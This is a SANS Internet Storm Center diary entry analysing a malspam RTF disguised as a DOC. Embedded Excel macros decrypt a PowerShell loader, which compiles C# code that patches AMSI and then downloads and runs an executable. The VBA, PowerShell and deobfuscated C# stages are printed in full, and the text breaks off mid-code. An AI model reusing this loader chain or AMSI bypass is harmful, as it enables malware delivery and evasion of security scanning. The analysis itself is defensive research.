# SANS ISC: Analysis of a triple-encrypted AZORult downloader - SANS Internet Storm Center SANS Site Network Current Site SANS Internet Storm Center Other SANS Sites Help Graduate Degree Programs Security Training Security Certification Security Awareness Training Penetration Testing Industrial Control Systems Cyber Defense Foundations DFIR Software Security Government OnSite Training SANS ISC InfoSec Forums **[isc.sans.edu/forums/diary/Analysis+of+a+tripleencrypted+AZORult+downloader/25768/](https://isc.sans.edu/forums/diary/Analysis+of+a+tripleencrypted+AZORult+downloader/25768/)** [← Next Thread](https://isc.sans.edu/forums/diary/Fake+browser+update+pages+are+quotstill+a+thingquot/25774/) [Previous Thread →](https://isc.sans.edu/forums/diary/Video+Stego+amp+Cryptominers/25764/) Analysis of a triple-encrypted AZORult downloader I recently came across an interesting malicious document. Distributed as an attachment of a run-of-the-mill malspam message, the file with a DOC extension didn’t look like anything special at first glance. However, although it does use macros as one might expect, in the end, it turned out not to be the usual simple maldoc as the following chart indicates. The message to which the file was attached was fairly uninteresting as it used one of the standard malspam/phishing types of text (basically it was a “request for quotation”, as you may see in the following picture) and there was no attempt made to mask or forge the sender in the SMTP headers. Jan 73 Posts ISC Handler Feb 3rd 2020 ----- After an initial analysis, it became obvious that the DOC extension was not genuine and that the file was really a Rich Text File (RTF). When opening such a file, one usually doesn’t expect Excel to start up and ask user to enable macros. However, as you may have guessed, this was exactly what opening of this RTF resulted in. In fact, after it’s opening, not one, but four requests from Excel to enable macros were displayed one after the other. Only after these dialogs were dealt with did Word finish loading the seemingly nearly empty RTF and displayed it. ----- The behavior mentioned above was the result of four identical Excel spreadsheets embedded as OLE objects in the RTF body… […with the “\objupdate” mechanism[1] used to open each of them in turn when the RTF was loaded.](https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/) ----- This technique of repeatedly opening the “enable macros” dialog using multiple OLE objects in a RTF file is not new in [malicious code[2]. Although it isn’t too widely used, displaying of seemingly unending pop-ups would probably be one of the](https://www.zscaler.com/blogs/research/malicious-rtf-document-leading-netwiredrc-and-quasar-rat) more effective ways to get users to allow macros to run, since they might feel that it would be the only way to stop additional prompts from displaying. [After dumping out one of the spreadsheets using rtfobj[3], the XLS itself could be analyzed using oledump[5].](https://github.com/decalage2/oletools/wiki/rtfobj) The only macro present in the XLS file had a very simple structure. It was only supposed to decrypt and decode a payload and executed it using the VBA “shell” command. One small point of interest was that the payload, which it was supposed to decrypt, was not contained in the macro itself but rather in one of the cells (136, 8) of the spreadsheet. The encryption algorithm used in the macro was quite an elementary one as you may see from the following code. For completeness sake, it should be mentioned that second cell referenced in the code (135, 8) only contained the string “&H” used to mark values as hexadecimal in VBA. ----- ``` Sub Workbook_Open() haggardly End Sub Private Sub haggardly() Dim psychoanalytic As Long: Dim unwelcomed As String: psychoanalytic = 1 GoTo target narcomania: unwelcomed = unwelcomed & Chr(CInt(Sheets("EnZWr").Cells(135, 8).Value & Mid(belive, psychoanalytic, 2)) - 41) psychoanalytic = psychoanalytic + 2 GoTo target target: belive = Sheets("EnZWr").Cells(136, 8).Value If psychoanalytic <= Len(belive) Then GoTo narcomania Else Shell unwelcomed Exit Sub End If End Sub ``` The code, which was supposed to be decrypted and executed by the macro, turned out not to be the final payload of the maldoc, but rather an additional decryption envelope – this time a PowerShell one. The encryption algorithm used in it was not very complex either. However, since it was almost certainly intended as an obfuscation mechanism rather than anything else, cryptographic strength would be irrelevant to its purpose. ``` powershell -WindowStyle Hidden function rc1ed29 { param($o6fb33)$jdc39='k7ce46'; $t2e762=''; for ($i=0; $i -lt $o6fb33.length; $i+=2) { $c48e2=[convert]::ToByte($o6fb33.Substring($i,2),16); $t2e762+=[char]($c48e2 -bxor $jdc39[($i/2)%$jdc39.length]); } return $t2e762; } $xe549 = '1e440a0b...data omitted...075e494b'; $xe5492 = rc1ed29($xe549); Add-Type -TypeDefinition $xe5492; [bb7f287]::b9ca7ba(); ``` Result of the previous code, or rather its decryption portion, was the final payload – a considerably obfuscated C# code. After deobfuscation, its main purpose become clear. It was supposed to download a file from a remote server, save it as c2ef3.exe in the AppData folder and execute it. ----- ``` using System.Runtime.InteropServices; using System.Diagnostics; using System.IO; using System.Net; public class bb7f287 { [DllImport("kernel32",EntryPoint="GetProcAddress")] public static extern IntPtr GetProcAddress(IntPtr key,string bdf77a); [DllImport("kernel32", EntryPoint = "LoadLibrary")] public static extern IntPtr LoadLibrary(string mf43f84); [DllImport("kernel32", EntryPoint="VirtualProtect")] public static extern bool VirtualProtect(IntPtr od5551,UIntPtr j1698, uint ue73e, out uint s1b1c16); [DllImport("Kernel32.dll", EntryPoint="RtlMoveMemory", SetLastError=false)] static extern void RtlMoveMemory(IntPtr qfcea,IntPtr c37f1d,int s89a7); public static int b9ca7ba() { IntPtr amsi_library = LoadLibrary(amsi.dll); if(amsi_library==IntPtr.Zero) { goto download; } IntPtr amsiScanBuffer=GetProcAddress(amsi_library,AmsiScanBuffer)); if(amsiScanBuffer==IntPtr.Zero) { goto download; } UIntPtr pointerLen=(UIntPtr)5; uint y372d=0; if(!VirtualProtect(amsiScanBuffer,pointerLen,0x40,out y372d)) { goto download; } Byte[] byte_array={0x31,0xff,0x90}; IntPtr allocatedMemory=Marshal.AllocHGlobal(3); Marshal.Copy(byte_array,0,allocatedMemory,3); RtlMoveMemory(new IntPtr(amsiScanBuffer.ToInt64()+0x001b),allocatedMemory,3); download: WebClient gaa7c=new WebClient(); string savePath=Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)+"\\c2ef3"+DecryptInput("45521b00"); gaa7c.DownloadFile(DecryptInput("034317150e19440653511a045f034d520d185a05504a7545447a37480606520652541a5c1b50"),saveP ath); ProcessStartInfo finalPayload=new ProcessStartInfo(savePath); Process.Start(finalPayload); return 0; } public static string DecryptInput(string input) { string key="k7ce46"; string output=String.Empty; for(int i=0; i